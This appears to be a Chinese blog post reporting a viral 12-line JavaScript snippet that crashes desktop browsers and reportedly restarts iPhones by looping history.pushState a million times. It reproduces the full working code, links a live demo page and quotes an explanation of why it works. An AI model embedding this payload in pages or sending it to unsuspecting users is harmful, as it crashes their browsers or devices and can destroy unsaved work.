新神器:91视频在线解析 可免费下载!
技术担当 教你如何免费看微信朋友圈模糊图片!!!

12行循环JS代码:分分钟让你电脑崩溃手机重启

最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?

上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文

s_e5c32db265fb46a1ba7fdbe230b31de0

使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{
total= total+i.toString ();

history.pushState (0,0,total);

}

</script>

</body>

</html>

还有人专门做成了链接:http://www.dsqnw.com/tool/demo.html(不怕死的可以试试,请提前保存好浏览器内容

网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。

为什么会这样呢?

有知乎网友给出这样的解答

“history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”

我要爆料声明:屌丝青年不提供任何违规资源存储及下载,请遵循相关法律法规!
解压密码均为(www.diaosiqingnian.com或dsqn)大神们别在问我了!
文章总数
2035+
标签总数
1590+
评论总数
10881+
运营天数
943+